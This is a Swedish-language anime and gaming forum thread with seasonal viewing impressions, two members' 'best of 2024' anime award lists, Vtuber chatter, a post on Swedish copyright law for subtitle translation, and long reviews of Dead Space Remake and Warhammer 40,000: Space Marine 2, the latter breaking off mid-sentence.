Resultattavla

Häxmetat gör comeback!?!

God jul alla isekaifans!

Skip and Loafer? I hardly know'er.

Då jag nyss sett färdigt på både Hen Semi och Shin Sekai Yori så är det väl dags att börja beta av säsongen. Har egentligen bara börjat om på Apothecary Diaries och 100 girlfriends, och nu närsn börjat komma in i det så är de fortfarande lika bra som innan. Nytt dock är I Have a Crush at Work som skulle handla om vuxenromans på arbetsplatsen, och jag förstår att folk gärna vill se något mer relaterbart än tonåringar i skolan, men iaf efter första avsnittet så tycker jag nog att de beter sig som tonåringar ändå. Kommer nog se vidare i ett par avsnitt till, men det var ingen serie som riktigt fick mig att vilja se "ett avsnitt till", direkt. Däremot är Medalist lite oväntad. Har alltid gillat sportserier ända sedan Major var min första typ 10/10-serie. Såg och gillade första 2/3 av Eyeshield 21, Run with the Wind, i viss mån Haikyuu och Kuroko no Basuke, Gurazeni och Overtake! Fasen, kanske även Yakitate! Japan går in under kategorin. Tror det är något i genren som nostalgiskt för mig tillbaka till "klassisk anime", kanske för att upplägget i princip alltid är samma. Karaktärsutveckling med en tydlig väg framåt, som en vanlig shonen fast lite mer grundad i verkligheten. Men! Medalist var inte ens på min radar förrän jag såg ett klipp på ett konståkningsframförande varpå jag var ännu mindre intresserad. CGI-animering... njaeehh. Såg sedan att den listades av någon som typ "säsongens överraskningar" och gav den en chans ändå. Extremt barnvänligt, nästan ett renodlat barnprogram, men träffar alla punkter en sportserie ska göra. Börja från botten, huvudkaraktären och tränaren är båda underdogs som börjar sent, men de är också lite, lite OP och presterar oväntat bra. Tydliga delmål, tydlig utveckling. Dessutom har den ett högt (och rätt bra) tempo och är genomgående underhållande. CGI är begränsat till OP och konståkning, men används inte hela tiden och är av väldigt bra kvalite, dessutom kompenseras vi med väldigt uttrycksfull animation resten av tiden. Seriens största behållning är dock att jag vill "se ett avsnitt till". Telefonen åker inte upp under tiden man kollar, eftersom det hela tiden arbetas mot ett mål så tappas åtminstone jag inte intresset utan vill se hur det går. Den gör precis som en bra serie ska göra helt enkelt. Dessutom insåg jag nyss att detta är den tredje serien om konståkning jag sett, efter Yuri On Ice och Ginban Kaleidoscope. Otippat ändå. Utöver detta såg jag nyss klart på Breaking Bad och den avslutande filmen El Camino. Ingen anime visserligen, men liksom Medalist så handlar den om en underdog som är OP och arbetar mot tydliga mål med ett bra tempo och avsnitt som får en att vilja se "ett avsnitt till". Vem kunde ana att konståkning och metamfetamin hade så många likheter?

Nu när du nämner det, Kimi to Idol Precure: Två avsnitt in i den nya serien, och de har hittills varit helt fantastiska! Bra karaktärisering, rolig komedi, riktigt snygg animation. Mycket starkare än inläggen från de senaste åren. Får hålla tummarna och hoppas att den håller i kvaliten, och kanske blir en av de Pretty Cure-serier som man kan ranka bland de bästa, som Heartcatch och Go Princess!

Förra året så såg jag extremt lite animé jämfört med tidigare år. Det har varit tufft att hänga med, men just varför? Jag har ett nio-till-fem att hålla i så det tar naturligtvis lite tid från veckan och eventuellt tröttar ut mig från att se något. Warhammer tar också en del tid, att bygga en armé tar lite tid och att sen spela tar ett par timmar det också. Jag har också börjat gymma igen... åtminstone en gång i veckan men måste uppa det antalet allteftersom. Och självklart måste man spela alla spel i backloggen som 58:e gången jag installerar Skyrim. Men det kan också vara den enkla anledningen att Vtubers har tagit över min tittartid. Justice och Flow Glow- två nya generationer hade premiär för drygt tre- fyra månader sedan så måste följa deras upptåg. Några har tagit upp Alien Isolation och det har varit kul att se dom springa ifrån en xenomorph. Och såg ni Inas 3D Live? Hon och Flare i en duett var verkligen vackert. Sen så var det storkollaben. Först ENReco i Minecraft, Gonathan, Faunmart, Tam Gandr, Mococo vill ha pengar... kontrollerat kaos i renaste form. Sen så var det HoloGTA. Att se alla glömma sina bilbälten och stressen som polischef Subaru och sjukhusdirektör Fubuki måste stå ut med är absolut cinema. Så menar jag att när animé kommer till liv och börjar livestreama så tar dom över det originella formatet? Ja, kanske det... men det kan ju vara att hälften av det som sänds är en isekai av samma gamla tråkiga stereotyper. Jag känner samma utmattning från när alla spelutvecklare tänker att allting ska vara en hero shooter. Så det måste vara dom dära Vtubers fel!

Sceleris har väl alltid väldigt ljumma omdömen 🙃

Jag gav Medakawa en chans. En tjej har blivit curlad hela livet men så fort en kille visar sig inte lika intresserad (i vissa fall irriterad på henne) så går hon all in och vill tvinga fram någon form av reaktion. Men den funkar bara inte för mig, det känns så påtvingat och uppenbart vad som kommer ske. Jag blir bara irriterad på den helt utan anledning. Största anledningen till att prova den var såklart att Hololives Fubuki, Mio och Ayame gjorde OP:n. Och den är så svängig och skön!

Den var pretty dope faktiskt.

Undertexter till filmer skyddas normalt av upphovsrätt enligt svensk lag (Lag [1960:729] om upphovsrätt till litterära och konstnärliga verk), eftersom de är att betrakta som litterära verk. Svensk upphovsrättslag innehåller dock ett undantag för privat bruk (22 §). Det innebär att du får framställa en kopia av ett verk för strikt privat användning. Så om du översätter en undertext för strikt privat bruk så får du göra det, så länge: Du inte använder en olaglig källa för undertexten. Du inte sprider eller delar översättningen med andra, varken online eller offline. Så för oss som har barn som tycker det är tufft och visar intresse för anime finns det tyvärr inte några genvägar. Hittar ni några så skicka mig ett meddelande

Jag var tvungen att se färdigt Love Live innan jag skrev detta så är därför sen med årets lista. Har också märkt att mitt tittande har drastiskt minskat i år dels för att Warhammer och doomscrolling tar en del tid, dels så är det alldeles för mycket isekai som jag inte orkar bry mig om. Blir det bättre nästa år? Tveksamt, men å andra sidan så får jag mer tid till att vara... *suck* vuxen. Kriterier: Deltagare ska välja den serie som (enligt dig) passar bäst i namngivna kategorin, därefter ska det motiveras varför du tycker att serien förtjänar det. Helst utan spoilers självfallet. En serie kan nomineras i flera kategorier. Endast serier omnämns då filmer är mer glest mellan utgivningar och alla kanske inte har sett mycket långfilmer. Serien ska HA STARTAT under 2024 för att kunna nomineras. Serier som fortsätter in till 2025 är godkända så länge de började under 2024. Serier som började 2023 räknas inte. Du behöver inte sett klart en serie för att nominera den. Kategorier: Bästa action: Date A Live V Isaac Westcott är på krigsstigen och inleder en storskalig offensiv mot Ratatoskr. Han är besatt av att frammana Spirit of Origin och behöver Shidous krafter för det. Om Shidou och hans harem ska ha en chans behöver han övertala Tokisaki Kurumi att ge upp sina krafter, en nära inpå omöjlig uppgift och tiden börjar ta slut... Efter en uppbyggnad i förra säsongen så är the grand finale här. Vissa serier drar ut på det och försöker mjölka på produkten medan man tappar tråden helt. Date A Live satte ner foten och knöt ihop skosnörena, och sa "that will do". Mycket respekt till Kadokawa att dom satte ett befintligt stopp. Shidou som karaktär har växt jättemycket och de nya twister som dyker upp är spännande och (i mitt fall) överraskande. Ett värdigt bokslut till en av de bästa haremserierna. Bästa äventyr: Shuumatsu Train Doko e Iku? När 7G introducerades förändrades hela världsbilden. Det blev nu helt plötsligt längre mellan alla städer och underliga fenomen sker, som exempelvis i den lilla staden Agano där alla över 21 års ålder förvandlas till djur. Shizuru som bor här är fortfarande student men är orolig över hennes vän Youka borta i Ikebukuro. Men utan någon fungerande infrastruktur och med ett större avstånd än vanligt verkar hennes resa omöjlig. Trots detta så lär hon sig att manövrera byns tåg med hjälp av konduktören Zenjirou och tillsammans med hennes klasskompisar far dom nu på ett äventyr dom aldrig varit med om förr... En unik postapokalyptisk saga med tåg och mycket grönt, något av mina favoritsaker. Serien är väldigt inspirerad av Gullivers Resor med flera olika nya "upptåg". Mitt största klagomål är att dialogen har en tendens att gå för fort ibland, men annars är det en fin resa och upptäcktsfärd. Den har ett tåg så den är automatiskt rekommenderad! Bästa drama: Tokidoki Bosotto Russia-go de Dereru Tonari no Alya-san Alisa är hälften rysk och går i samma klass som Masachika. De båda hamnar i luven mellan varandra titt som tätt... det verkar nästan vara passionerat ibland. Det händer också att Alisa säger något på ryska för att gömma hennes känslor. Men det hon inte vet om är att Masachika förstår vad hon säger, och det verkar som om att hon faller för honom. När är det tillfälle att säga åt henne? Börjar lite oskyldigt som en romcom men har mera intriger som egentligen inte borde vara så allvarliga som serier får den att se ut. Spelet mellan alla karaktärer är excellent och Masachika är riktigt intressant. Han vet när han ska göra sitt drag och har en sådär lekfull natur att dölja sina riktiga avsikter. Om du saknar lite av Clannad så finns det att hämta här utan att det blir för övernaturligt. Bästa komedi: Shikanoko Nokonoko Koshitantan Torako är en före detta delinquent som försöker dölja sitt förflutna genom att vara den perfekta studenten. Men en dag på väg till skolan möter hon... "rådjuret" Shikanoko. En underlig syn till att börja med, men tack vare hennes förstärkta sinnen vet Shikanoko om Torakos hemliga förflutna. Hur ska Torako kunna tysta detta skumma rådjur innan sanningen kommer fram? En serie som inte har någon form av skam vad gäller fjärde väggen och vars främsta pitch var dess brainrot meme innan release. Jätterolig tsukkomi som svänger konstant i...öh, svängarna! Bästa thriller: The Irregular at Magic High School Säsong 3 Ett nytt skolår väntar och Tatsuya sätts på prov som både ny elevrådsassistent och i det nya ingenjörsprogrammet när förstaårselevernas fördomar ser över hans bakgrund som "emblemlös". Samtidigt så arbetar den terrorstämplade anti-magirörelsen bakom kulisserna med att manipulera medierna till sin fördel... Mycket nya rörliga delar som händer och mera yapping, men intressant. Ett litet uppsving från förra säsongen även om det har problem att hålla uppe momentum ända in i slutet. Att se alla intriger ske bakom ryggen på varandra och sen utspela sig mitt i Tatsuyas närhet är väldigt förfriskande. Bästa romans: 2.5-jigen no Ririsa Masamune har haft det tufft med det motsatta könet, så pass så att han avsvurit sig 3D-kvinnor helt och hållet. Kuvad in i mangaklubbens hörna avgudar han sin waifu som aldrig kommer förråda honom: Liliel. Han är den enda kvar i klubben men en intresserad förstaårselev dyker in med önskan att gå med; Ririsa. Masamune har ingen önskan att dra med en tjej in i klubben, men till sin shock så är Ririsa också ett stort fan av Liliel, och ännu större shock: hon cosplayar som henne också! Hur ska Masamune kunna svara på denna dubbeloffensiv? En till romcom med fokus på cosplay men med lite mer att röra om med grytan. Vi får se vad olika cosplayers går igenom och tänker och karaktärerna är så gulliga. Vissa ögonblick känns så ovanligt slipade också, saker som man vanligtvis inte ser i genren och som jag saknat för att verkligen leva in i serien. LILIEL! Bästa science fiction: Date A Live V Kanske inte så mycket konkurrens i denna genre i år, men Date A Live har alltid varit kärt hos mig. Just att den toppar allting från den erkänt ganska försiktiga och "uppläggiga" förra säsongen så är det vackert att se alla lösa trådar komma samman. De nya hoten, de nya vändningarna, agendorna bakom och karaktärerna i sig, allt har lett upp till detta. Så vackert att se flaggan i topp när vi tar ett bokslut. Bästa fantasy: That Time I Got Reincarnated as a Slime Säsong 3 Efter kriget mot Falmuth så har en kortvarig fred intagit Tempest, även om demon lord Rimuru förbereder för den ankommande stormen. För att avvärja mer anfall och försöka få mer allierade på sin sida smids det planer att installera hjälten Youm som ny kejsare i Falmuth och genom honom skapa fred mellan de två nationerna. Men under tiden så smider Western Holy Church planer, och Hinata kan sätta käppar i hjulet om hon ser Rimuru som ett hot... "The big yappening" har den kallats, men jag ser det inte som en dålig grej. Tvärtom så har Tensura erfarenhet med möten och gör dom intressanta. Sen så har vi all action och roliga möten också, och Rimurus storhetsvansinne att göra om Tempest till Japan. Bästa isekaiserien just nu, och ni måste anstränga er mer animationsindustrin för om ni fortsätter pumpa ut skräp så är Tensura ett Valorant bland alla Concord. Bästa slice of life: Yuru Camp Säsong 3 Utomhusklubben är tillbaka med mer matporr och nya platser att se! Nu kommer även Ayano med och hänger på! Nästa stora mål: en campingtripp där dom kan se körsbärsträden slå ut! Måste börja med att säsong 3 har en ny animationsstil och det är stor skillnad. Det var extremt störigt för mig för det kändes riktigt off där i början. Men som tur är så under dessa lager är det samma gamla goa myspys med tält och brasa. Och tåg, massor av tåg! Bästa soundtrack: Love Live! Superstar!! Säsong 3 Finns många bangers denna säsong och bakgrundstonen kombinerat med de vackra vyerna är alltid lika slående. Tack gode gud för Liella! Bästa OP: Let's be ONE (Love Live! Superstar!! Säsong 3) Jag menar valet var mellan två brainrot memes, LiSA som också var en nice banger och denna. Min bias tog över men ni kan inte stoppa mig, Liella! är stronk just nu! Bästa ED: Snow Noir (The Irregular at Magic High School Säsong 3) Ganska unikt tema för denna show, men rätt groovy. Bästa animation: Girls Band Cry Nina verkar ha det svårt vad hon än försöker med och just när hon kommer till Tokyo går hon vilse, blir ignorerad och utelåst. Men just slumpmässigt så stöter hon på sin favoritartist ute på gatan- Momoka Kawaragi. Det verkar som att Ninas liv kommer ta en helomvändning för helt plötsligt vill Momoka starta ett band med henne... När man tänker 3D i animé så är det antingen komplement till action- eller dansscener eller sånt som liknar Final Fantasy. Även om det gått framåt likt hur Love Live! har skött sina framträdanden så har vi inte sett en äkta animé-vibe i 3D... förrän nu. Girls Band Cry är just den fusionen på riktigt. Animationen är så mjuk med massor av frames och detaljer. Detta är vad vi bör sträva efter! Årets besvikelse: The Irregular at Magic High School Säsong 3 En förbättring betyder inte att det inte finns saker att klaga på. Tempot är fortfarande helt ur fas, massor med saker sjasas åt sidan (Ville du se årets upplaga av Nine Schools Competition? Synd!), flera huvudkaraktärer får knappt någon skärmtid och Miyuki är mer värdelös än någonsin. Hon finns bara där för att gnälla att hon inte får göra något (vilket är sant) och oroa sig över Tatsuya. Så går det när man försöker få in tre ark i bara 12 avsnitt verkar det som. Årets sämsta: Blue Archive the Animation Studentstaden Kivoto har ett problem med vapen, så pass så att alla dess elever uppmuntras till att bära vapen själva. I detta kaotiska landskap så har vi Sensei, den enda läraren i hela stan som ska hjälpa de olika skolorna. Den första på listan: Abydos High School, en skola med en miljard yen i skuld och med bara fem elever... Baserad på gatchaspelet med samma namn, Blue Archive funkar verkligen inte i rörlig bild. Bakgrundsstoryn är för kryptisk och i vissa fall dum, actionen översätts inte bra till animé för det finns ingen spänning i det, karaktärerna är generiska och kanske det dummaste av allt, de officiella undertexterna var maskinöversatta och helt värdelösa och har fått patchas i efterhand. Det verkar inte funka att ta mobilspel och bara gå direkt till serie utan att göra en makeover i sånt som inte funkar på filmduken. Inget av värde har gått förlorat dock och spelet i sig (om nu storyn är bättre där) verkar vara okej. Tur man har slutat med gachas! Årets värsta karaktär: Sensei (Blue Archive the Animation) Det lilla jag såg av honom så är han bara mer av en vägledare och sen inget mer. Han ger ett litet pep och sen så är tjejernas moral på topp. Det fanns ett par enstaka karaktärer som kunde hamna här, men till skillnad från Sensei så har dom ett skäl till att vara hemska medans han...bara finns, antar jag?! Årets kvinnliga karaktär: Alisa Mikhailovna Kujou (Tokidoki Bosotto Russia-go de Dereru Tonari no Alya-san) I vissa fall verkar hon vara för stolt eller svag vid för mycket press, men det gör henne också riktigt söt. Speciellt när hon pratar ryska som Sumire Uesaka har haft mycket träning med som Nonna (Girls und Panzer) och Anastasia (The Idolm@ster Cinderella Girls). Hon är klyftig, har roliga meningsombyten med Masachika och hennes hår är som silver i vinden. Årets manliga karaktär: Masamune Okumura (2.5-jigen no Ririsa) Om vi blundar för hans besatthet av Liliel så är Masamune en superchad! För att vara en otaku så kan han interagera med andra och blir inte störd av allt som slängs mot honom. Han är en man som handlar snabbt, är kvick på att brainstorma fram idéer och har alltid andras välmående som prioritet. Gud så romantiskt med en haremprotagonist som faktiskt kan saker! Årets överraskning: Mahou Shoujo ni Akogarete Utena älskar magiska flickor, speciellt stadens lokala trio hjältinnor Tres Magia. Så när hon möter Venalita, en maskot med lovord om att hon också kan bli en mahou shoujo, så har hon svårt att säga nej. Men Venalita var bara halvt sann i sina ord, för Utena blir istället värvad till den elaka organisationen Enormeeta. Direkt hamnar hon i Tres Magias korshår och måste då reda ut missförståndet. Men hon råkar avlossa hennes krafter som är av en unik natur: BDSM. Förtvivlat ser hon på när hennes favorithjältinnor blir förnedrade framför henne, men också ett ny upptäckt... tycker Utena om att förnedra magiska flickor?! Utan varning från ena flanken kommer denna underliga pjäs och även om jag inte prisar den lika mycket som andra har gjort det så tycker jag den är okej. En ovanlig take på fanservice och som med min favoritserie Strike Witches så lyckas det tack vare att man bakar in det i själva världsbyggandet. Riktigt rolig och kåt, om du är lite nyfiken så kan du prova den här... på egen risk! Årets darling: Love Live! Superstar!! Säsong 3 Kanon har accepterat erbjudandet om att studera på musikskola i Wien. Men just som hon lämnar Yuigaoka Girls' High School på väg för att packa så möts hon vid grinden av Wien Margarete, Liella!´s rival i Love Live! Hon säger att hennes pappa (som sitter i musikskolans ledning) har ändrat planerna och Kanon ska nu istället lära Margarete allt hon kan på Yuigaoka. Hur ska det gå för Kanon när hennes största rival och mest envisa person hon träffat ska bli hennes lärljunge? En avslutande säsong i Liella!- sagan, och även om det är ganska förutsägbart så var det ändå med värdighet. Jag var orolig ifall Margarete skulle spåra ur storyn med tanke på hennes bakgrund förra säsongen men trots det så kan man säga att med hjälp av resten av tjejerna så slutar det väl. Musiken är självklart på topp och jag blir aldrig less att se de vackra färgerna i deras hemstad. Love Live frodas fortfarande och vi bugar och ger ett värdigt avsked till Liella! Best of 2024: 2.5-jigen no Ririsa Det var ett tufft val då det stod mellan den här, Yuru Camp och Love Live. Men det som gjorde att denna knep platsen var att jag längtade mest till nästa avsnitt av den under dess säsong. Färskt blod och en ny vinkel på cosplay i väntan på nästa My Dress-Up Darling säsong, Ririsa hade hjärta, komik, fin fanservice och stabil rollista (speciellt vår favoritchad Masamune). Hurra för 2.5D-flickor!

Bäst action: Sengoku Youko Fantastisk serie av skaparen av bland annat Lucifer and the Biscuit Hammer (och i detta fall så smälte inte animationen helt!) Bäst komedi: Konosuba S3 Det här var nog det mest roliga jag har haft från någon Konosuba säsong. Bäst drama: Oshi no Ko S2 Tokyo Blade-arcet var otroligt starkt. Sen pratar vi inte om det två sista avsnitten, eller nästa säsong. Bäst romans: Gimai Seikatsu Serien vars engelska namn ej kan användas när den ska rekommenderas, eftersom alla kommer att sluta lystna så fort de hör det... Väldigt low-key och down-to-earth serie, men den största höjdpunkten var definitivt soundtracken och regissören. Gång på gång så finner man sig helt absorberad i atmosfären. Bäst mystery: Monogatari Series: Off & Monster Season Lite sido-stories för att ge mer djup till karaktärerna i serien, starkt rekommenderad om man sett resten av Monogatari. Bäst sci-fi: Date A Live V Riktigt starkt avslut, det finns tydligen fler böcker att adaptera, men alla nuvarande plot-trådar har knytits ihop, så finns inget behov av en extra säsong (förutom för att få se alla karaktärerna lite mer!!!) Bäst slice of life: Yuru Camp S3 Ny studio och en ny look, men samma sköna vibes. Bäst ecchi: 2.5D Seduction Älskar denna manga, och var otroligt rädd för att adaptationen skulle bli slaktad (som till exempel Gushing Over Magical Girls från tidigare samma år blev), men jag är väldigt nöjd över hur den visade sig bli! Bäst isekai: Mushoku Tensei II Part 2 Mer Mushoku Tensei! Bäst band-anime: GIRLS BAND CRY Mycket unik CG animation, riktigt bra musik, och omtyckbara karaktärer. Årets överraskning: Absolut den bästa "huvudkaraktären är super OP, förmodligen den starkaste i universum" serien jag sett. Väldigt rolig, fantastiska karaktärer, och mycket stark plot. Bäst regi: Uena Souta (Gimai Seikatsu) Brukar inte bry mig om denna kategori, men den häpnadsväckande regin i denna serie bara måste nämnas. Ännu mer imponerande, då det är regissörens första verk. Bäst OP: HIBANA by MindaRyn (Sengoku Youko) Bäst ED: Burning by Hitsujibungaku (Oshi no Ko S2) Bäst karaktär: Oumae Kumiko (Hibike! Euphonium) Geh~ Anime of the Year:

Ny ledtråd?

En torkperiod för mig i alla fall, men nu kan vi alla fokusera på nästa säsong av Love Live! Superstar!! Now in dark mode!

Jag är ny på forumet. Hoppas det finns lite liv kvar här. Jag tittade mycket på anime i tonåren och blev lite sugen att titta igen då "dan da dan" letade sig in i mitt flöde. Har tittat på alla avsnitt hittills och gillade det skarpt. Har ni någon rekommendation till liknande komedi/action anime från dom senaste 10 åren? Tack på förhand! Fel plats att posta detta på haha. Hoppsan! Hittar inte hur jag tar ned inlägget heller...

Vad är Dead Space Remake? 2008 skapade EA studion EA Redwood Shores en helt ny IP; Dead Space. Ett tredjepersons survival horror med vissa likheter från Resident Evil... fast i rymden. Spelet var väl bemött och belönade studion till att uppgradera sig till Visceral Games. En uppföljare skapades 2010 och den var ännu mer kritikerrosad. Tyvärr så hade EA redan satt käppar i hjulet. Dom ville inte bara göra ett spel utan en helt ny franchise och sprang med idén i maxfart. De skulle bli böcker, serietidningar och animationer. Tyvärr så floppade de på alla plan plus att deras reklambudget sprang ifrån dom, och spelets framgångar var nu uppätna av utgivarens hybris. Dead Space 3 "var tvungen att sälja fem miljoner kopior för att fortsätta serien". Trean var en katastrof med kass story, påträngande co-op mekaniker och mikrotransaktioner. Så EA la ner Visceral och Dead Space var nu dött (tack EA). 2023 så släpptes en remake av det första spelet från Motive Studios. Är det ett livstecken eller bara trauma från förr? Story Mänskligheten har i framtiden blivit tvungna att bryta upp hela planeter för att överleva. USG Ishimura är det största och mest kända gruvskeppet i historien och bryter just nu över planeten Aegis VII. En kommunikationsmörkläggning leder till att ett reparationslag skickas in för att fixa felet. Isaac Clarke är en ingenjör på det teamet, men hans främsta skäl är att hans flickvän Nicole är ombord på Ishimura och är orolig över vad som möjligen hänt där. Reparationsteamet blir dock strandsatta när deras skyttel skadas under inflygningen och de stöter på en hemsk syn ombord Ishimura: besättningen har lemlästats av okända, odrägliga monster. Isaac och hans team måste nu avvärja horder av dessa monster samtidigt som dom måste fixa Ishimura innan hela skeppet kraschar mot planetens yta... Dead Space var ursprungligen inspirerat av Alien och Event Horizon, och influenserna märks av fortfarande. Det är ett spännande mysterium som spelaren nystar upp via textloggar, ljudmeddelanden och holograminspelningar. Jämfört med förra så pratar faktiskt Isaac i denna, och hans roll är riktigt bra. Utöver den nya dynamiken mellan Hammond/Kendra (om du kommer från originalet) så är de mesta mycket bättre. Gameplay Om du spelat lite Resident Evil så kommer du nog känna dig bekant, men det finns en tvist. Dessa monster du möter, så kallade Necromorphs, är en unik sort som bara kan stoppas genom att kapa av deras lämmar. Kapa av armar och ben för att stoppa dom. Din arsenal är specialanpassad för just det då den består mest av tunga ingenjörsverktyg som exempelvis Plasma Cuttern som kan kapa både vågrätt och lodrätt, en industrisåg som kan skjuta iväg sina klingor, en klassisk eldkastare och Force Gun som våldsamt knuffar iväg allt framför mynningen. En ny tvist i remaken är att du måste gå igenom olika lager av kläder, muskler och ben och ibland pansar för att kunna kapa av lämmen. En fräsch överraskning på en gammal hederlig metod. Du måste nu aktivt sikta mot den svagaste lämmen med minst motstånd för att snabbt kunna kapa av dom innan du blir omringad av andra monster. Stasisenheten som försätter dina motståndare i slow motion är tillbaka och även kinesismodulen som låter dig greppa stora saker och från håll. Den sistnämnda är dock från andra spelet i serien, så nu kan du spetsa necromorphs med klor eller pålar igen för att spara ammunition. All information som liv, antal skott för din stasismodul, vapnets ammunition med mera finns på Isaacs dräkt. Det finns även en inbyggd vägvisare som leder dig till nästa objektiv. I nollgravitation så har nu Isaac fått sina patenterade drivraketer från tvåan (som ursprungligen kommer från Iron Man-filmerna) vilket underlättar rymdpromenaderna du gör runtom skeppets exteriör. Ishimura är numera en halvöppen karta där du kan fara fram och tillbaka via dess tåglinje när du låst upp de olika stationerna. Detta leder till mer belönande utforskning och spännande nya sätt att ta sig runt skeppet på. Det finns en shop där du kan föra ritningar som du hittat runt skeppet och låsa upp för köp. Här kan du även uppgradera din dräkt så du får mer pansar och större inventarie. Du kommer även stöta på så kallade Power Nodes, elektriska puckar som du kan uppgradera dina vapen och din dräkt med vid en bänk. Nytt för remaken är att varje node ger en uppgradering och du kan hitta olika moduler som låser upp mer av vapnets potential. För att hitta allt så behöver du komma igenom några låsta dörrar, men nuförtiden behöver du inte använda nodes som förr i tiden. Nu har man olika nivåer av security clearance som låses upp allteftersom du tar dig igenom storyn. Väldigt tacksamt för oss som vill spara sina nodes och leder till att spelet fått en form av metroidvania feel med lite backtracking och utforskning inbakat. Grafik Jag har haft mycket ont att säga om EAs användning av Frostbite Engine. Du kanske har hört om de katastrofala nysläppen som använder motorn och hur de aldrig verkar få den att fungera som den ska. Dead Space på release hade också problem i början, men mer med krascher och framedrops. Fysiken överlag har fungerat bra. Jämfört med originalet så är det ett värdigt ansiktslyft. Necromorphsen är nu läskigare än någonsin och nu när man kan skala av skinn och ben så kan hela modellen ändras. Bränn eller knocka av kläder och skinn från benen och se dom stapla fram som skelett. Väldigt välkommet. Detaljrikedomen hjälper med inlevelsen att Ishimura är bebodd och används samt vad som hände under monsterutbrottet. Blod och vakuumfrost bygger lager på lager över Isaacs dräkt och smälter sen efter ett tag i värmen. Själva blodrinnandet ser inte så äkta ut om man tittar för nära på det, men allt annat håller toppklass. Ljud Musiken är snarlikt från originalet men man känner ändå influenser från Alien. Lägg till ljudet från plötsliga skrik, mystiska viskande, monstervrål, havererande elektronik samt Isaacs hjärtslag och tunga andetag och stämningen är på topp. Du kommer bli skrämd! Plus att gå i komplett vakuum har aldrig vart så spännande ljudlagt som nu. Gunner Wrights återkomst som Isaac är också välkommet. Rollerna blandas om nu när Isaac också har en röst, men han är bland de bättre rösterna i spelet. Vissa roller har några dåliga framföranden (om det nu är personen eller manusets fel kan diskuteras) men överlag så är rollistan solid och tar inte ifrån skräckfaktorn. Sammanfattning Dead Space 2 var min favorit länge, men denna har nog tagit över som ny etta. Den är trogen originalet men samtidigt lägger till nya bitar för att hålla det färskt. Grafiken är på topp och alla ljudmattor ser till att du alltid är nervös och på tåspetsarna. Om tvåan får samma behandling återstår att se, men oavsett så är du välkommen tillbaka Dead Space! Omdöme: Make us whole/10

En grej jag sett mer än en gång är när någon blir "skrämd" av något helt icke-skrämmande. Jag läser en manga nu om en bokmal som blir vän med skolans snyggaste tjej (i sig en nött klyscha). Vid ett tillfälle står det några flickor (icke-snälla gyaru) framför dörren till skolbiblioteket och baktalar tjejen så att hon inte vågar gå in, så killen går och säger åt dem att flytta sig. De svarar typ stick och brinn, boknörd, så då skrämmer han bort dem genom att stå helt icke-hotande och pladdra om varför böcker är bra. "Va!?" "Läskigt!" "Det här är illa, vi drar!" Jag förstår inte den antydda hotbilden! De reagerar som om de fruktar för sin fysiska hälsa. Kanske är idén "pladdra utan att läsa sociala signaler => oberäknelig => kan ta till plötsligt våld"? Eller är det ett psykologiskt hot? "Pladdra => religiös knäppskalle => kan övertala att gå med en sekt"... för att de inte har något som helst mentalt motstånd?

När föräldrar i anime skiljer sig så är det oftast en förälder som aldrig får se sitt barn igen. Ibland skiljer de sig och tar ett barn vardera – ibland med obehagliga följder (Koi Kaze). Är "delad vårdnad" en helt främmande idé i Japan?

Serien jag kan hitta som passar bäst in på din beskrivning är Cardfight Vanguard, men jag tror inte det är rätt, så min gissning är att det inte är en riktig serie, och du istället har ritat bilderna själv.

Vad är Warhammer 40.000 - Space Marine 2? 1975 grundades Games Workshop med deras hem i Nottingham, England. De började mer som en utgivare till traditionella brädspel men fick sen även licens att distribuera Dungeons and Dragons i Storbrittanien. Dom ville dock vara mer inblandade i rollspelsbranschen, och 1978 grundades Citadel Miniatures, deras in-house figurspelstillverkare. Därifrån skapades deras nu länge kända brand Warhammer. Den är uppdelad i en fantasydel och en sci-fidel men är i grund och botten plastfigurer som byggs ihop, målas och sedan spelas med tärningar och olika regler. Självklart så har dom även gjort avtryck på den digitala marknaden massor av spel (med varierande kvalité). Space Marine 2 är uppföljaren till spelet från 2011 och tar plats i det 41:a århundradet där mänskligheten är på förödelsens rand och det finns bara krig... Story I det första spelet så följde vi kapten Titus från Ultramarines där han stoppade en Orkinvasion på planeten Graia och även hindrade en Kaosdemon från att manifestera. Hans stridsbroder anklagar honom för kätteri då ingen kan stå emot så mycket kaoskorruption som Titus gick igenom. Under uppsyn av Imperiets Inkvisition så avtjänar han sin "synd" i Deathwatch, men blir efter lång tjänst inkallad tillbaka till Ultramarines då systemet Recidius hotas av en inkommande Tyranidinvasion. Det finns en plan att ta fram ett supervapen men under tiden får Titus stå ut med ändlös svärm hungriga insekter och hans bröders misstankar om hans tidigare förflutna... För dom som inte har någon koll på 40k så slängs det mycket termer och namn som bara de insatta inom loren vet, och tyvärr så är det inget de försöker förklara heller. Storyn är dock ganska direkt med vad som kommer ske så det är enkelt för oinsatta att haka på. Det är bara synd att ingen fördjupning av universumet sker utan det är av 40k, för 40k i princip. Gameplay Jämförelsevis med första spelet så har vi ungefär samma grund men med ganska klara förändringar. Du har fortfarande samma mix av skjutande och hack-n-slash men nu har vi en helt ny fiende. Du kanske har koll på vad en Ork är och vad de kan hitta på, men har du stått emot en svärm av inte-Zerg som dalar ner mot dig? Focus Entertainment och Saber Interactive har en annan titel under sig: World War Z: Aftermath, baserat på boken och filmen med Brad Pitt om zombies som svärmade hela världen. I spelet användes Swarm engine som gjorde att man kunde ha hundratals med zombies på skärmen som klättrade över varandra för att komma över ett hinder. I samma anda så har vi nu en skala av ett fullskaligt krig i bakgrunden men som samtidigt kan ledas om mot spelaren. Du har nu mer motståndare att slåss med och dom kan enklare få dig ur balans. På avstånd har du nya vapen att hantera dessa svärmar, även om majoriteten är en mix av gevär och SMG:s med olika eldhastigheter eller tillbehör. Men sen så får vi en Melta Rifle, en extra stor hagelbössa som skjuter smält plasma framför en och kokar allt framför dig. Skillnaden är att du har nu bara ett huvudvapen, en pistol och ett närstridsvapen, två mindre än i föregångaren. Kanske inte något som känns som en negativ ändring men ammunitionskapaciteten är mindre så håll ögonen öppna för ammolådor. I närstrid ser vi en större ändring gameplaymässigt. Din repertoar offensivt är ganska begränsad med spamma attack och kanske slå en tung attack för mer swing. Istället så har din defensiva profil ändrat till att både ducka och blocka med en perfekt timing mekanik. Lyckas du med en perfekt dodge/parry kan du aktivera en gunkata funktion och göra stor skada med ett precisionsskott mitt i nyllet. Väldigt effektivt att stringa ihop coola utbrytningar och kunna kedja ihop en destruktiv kombo. Strong attacks markeras vid fienden och från vilket håll med antingen en blå ring (kan blockas) eller en röd ring (måste duckas från). Ditt HP kan komma tillbaka om du antingen skadar en fiende tidigt efter du tagit skada eller om du använder ett stimpack, men det är inte 